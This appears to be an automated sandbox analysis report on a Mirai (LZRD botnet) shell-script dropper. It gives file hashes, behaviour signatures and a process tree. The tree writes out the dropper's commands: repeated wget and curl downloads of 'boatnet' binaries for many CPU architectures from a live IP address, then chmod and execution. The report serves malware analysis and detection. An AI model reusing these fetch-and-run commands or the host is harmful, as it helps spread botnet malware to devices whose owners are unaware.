Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/12/2024, 16:41

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    475e2fda5ad2a6f7f976d7ecd6ff8e16

  • SHA1

    442159d5c54acc3cb0f7085e69afe44da5d13de2

  • SHA256

    bc89ca87a2a17284502b882043c34d61e8033a155dbe5c54b4755ade38deac86

  • SHA512

    10e2a1778987aa7f3e5ae4991583fb825390d383e50370062ba2d60f74a6c7d9668ef499d43d067a75d410a5305e636d40f89ea609bf52bd80a516dd03778f8e

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:652
    • /usr/bin/wget
      wget http://89.169.4.44/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:655
    • /usr/bin/curl
      curl -O http://89.169.4.44/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Writes file to tmp directory
      PID:667
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:676
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-5c956e0ac026463aa2ef8d8a8e193d3d-systemd-timedated.service-DsVnn8 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:678
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:679
      • /usr/bin/wget
        wget http://89.169.4.44/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:682
      • /usr/bin/curl
        curl -O http://89.169.4.44/hiddenbin/boatnet.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:686
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:689
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-5c956e0ac026463aa2ef8d8a8e193d3d-systemd-timedated.service-DsVnn8 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:690
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:691
      • /usr/bin/wget
        wget http://89.169.4.44/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:693
      • /usr/bin/curl
        curl -O http://89.169.4.44/hiddenbin/boatnet.arc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:694
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:696
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-5c956e0ac026463aa2ef8d8a8e193d3d-systemd-timedated.service-DsVnn8 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:698
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:699
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/boatnet.i468
          2⤵
            PID:701
          • /usr/bin/curl
            curl -O http://89.169.4.44/hiddenbin/boatnet.i468
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:706
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:710
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-5c956e0ac026463aa2ef8d8a8e193d3d-systemd-timedated.service-DsVnn8 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:711
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:712
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/boatnet.i686
              2⤵
                PID:714
              • /usr/bin/curl
                curl -O http://89.169.4.44/hiddenbin/boatnet.i686
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:717
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:721
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-5c956e0ac026463aa2ef8d8a8e193d3d-systemd-timedated.service-DsVnn8 WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:723
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:725
                • /usr/bin/wget
                  wget http://89.169.4.44/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:726
                  • /usr/bin/curl
                    curl -O http://89.169.4.44/hiddenbin/boatnet.x86_64
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:730
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:734
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5c956e0ac026463aa2ef8d8a8e193d3d-systemd-timedated.service-DsVnn8 WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:735
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:737
                    • /usr/bin/wget
                      wget http://89.169.4.44/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:738
                    • /usr/bin/curl
                      curl -O http://89.169.4.44/hiddenbin/boatnet.mpsl
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:742
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:746
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5c956e0ac026463aa2ef8d8a8e193d3d-systemd-timedated.service-DsVnn8 WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:751
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:753
                      • /usr/bin/wget
                        wget http://89.169.4.44/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:755
                      • /usr/bin/curl
                        curl -O http://89.169.4.44/hiddenbin/boatnet.arm
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:761
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:766
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5c956e0ac026463aa2ef8d8a8e193d3d-systemd-timedated.service-DsVnn8 WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:767
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Writes file to system bin folder
                          • Reads runtime system information
                          PID:769
                        • /usr/bin/wget
                          wget http://89.169.4.44/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:774
                        • /usr/bin/curl
                          curl -O http://89.169.4.44/hiddenbin/boatnet.arm5
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:776
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:778
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5c956e0ac026463aa2ef8d8a8e193d3d-systemd-timedated.service-DsVnn8 WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:779
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:780
                          • /usr/bin/wget
                            wget http://89.169.4.44/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:781
                          • /usr/bin/curl
                            curl -O http://89.169.4.44/hiddenbin/boatnet.arm6
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:782
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:783
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5c956e0ac026463aa2ef8d8a8e193d3d-systemd-timedated.service-DsVnn8 WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:784
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              • Reads runtime system information
                              PID:785
                            • /usr/bin/wget
                              wget http://89.169.4.44/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:786
                            • /usr/bin/curl
                              curl -O http://89.169.4.44/hiddenbin/boatnet.arm7
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:791
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:798
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5c956e0ac026463aa2ef8d8a8e193d3d-systemd-timedated.service-DsVnn8 WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:799
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:800
                              • /usr/bin/wget
                                wget http://89.169.4.44/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:805
                              • /usr/bin/curl
                                curl -O http://89.169.4.44/hiddenbin/boatnet.ppc
                                2⤵
                                • Checks CPU configuration
                                • Writes file to tmp directory
                                PID:809
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:814
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5c956e0ac026463aa2ef8d8a8e193d3d-systemd-timedated.service-DsVnn8 WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:815
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:816
                                • /usr/bin/wget
                                  wget http://89.169.4.44/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:819
                                • /usr/bin/curl
                                  curl -O http://89.169.4.44/hiddenbin/boatnet.spc
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:827
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:834
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:835
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:837
                                  • /usr/bin/wget
                                    wget http://89.169.4.44/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:839
                                  • /usr/bin/curl
                                    curl -O http://89.169.4.44/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:840
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:843
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:844
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:845
                                    • /usr/bin/wget
                                      wget http://89.169.4.44/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:847
                                    • /usr/bin/curl
                                      curl -O http://89.169.4.44/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:848
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:849
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:850
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:851

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      54a4579132c974352d3b871e4ccc5823

                                      SHA1

                                      ce87e93203266a9371fc6a24d0bbc01681de26d4

                                      SHA256

                                      ee48906e6d44a608ba40cc35ae29d5059b565c6703e0b524b2b87c1eceaa0b21

                                      SHA512

                                      45a2eb61611afc33cd1e6faa79ef31a7089070373acb66954b70b32ad89017f81420bcb1449e4af1f7f7bb6ae5097692af57247235c641b474012eb3cee3f02f

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      90bebb818cec6455282cf8f9015506a9

                                      SHA1

                                      128ffe3013d9b6c49b52b866acff1deae907fb0f

                                      SHA256

                                      5e812847cc699ab2818195ec49c3dc17287112cb9b141c9b08b5380d9c11f3eb

                                      SHA512

                                      134759480b1e11fbfb59888669914b6a94715ed4c07b2d0b48008eff7d80e086f516a135a2837d85cd8247bb8b12ad7a7461f61f8bd8e847294cf258dcf6f852

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      a3efe6f4384a8b33c141ce73111d0a73

                                      SHA1

                                      0f0a1f1dcf44b6de12d9234875aa7825765b9ae4

                                      SHA256

                                      d510db838a48070a753fe2e94bbcab2925d20f61f70f8334db10df627b1b0591

                                      SHA512

                                      91c58e32d05382ba797754139386851d34ae22cfbe7718f8347e1a57707f3f8c22cdb28cd1c18a253530e1c1bfcd3bb8033dacfb3f0d657fff5b895c6a4f537b

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      01951b26be11a04ce291fe41e4b506f3

                                      SHA1

                                      b1f268d654af5521f6b63f4f655bed811a1faf3c

                                      SHA256

                                      186e983595031a11877c037edff0b7faedcc1b852190a3a0146e9541d05a83d8

                                      SHA512

                                      6b60b34521df9ed7fa5849a131b21845284966352db900c5ce971f0ecabedb08d8ee17438879fe0e5181fe693a68efb9df1a903fc63f62ce570b306945f7bb51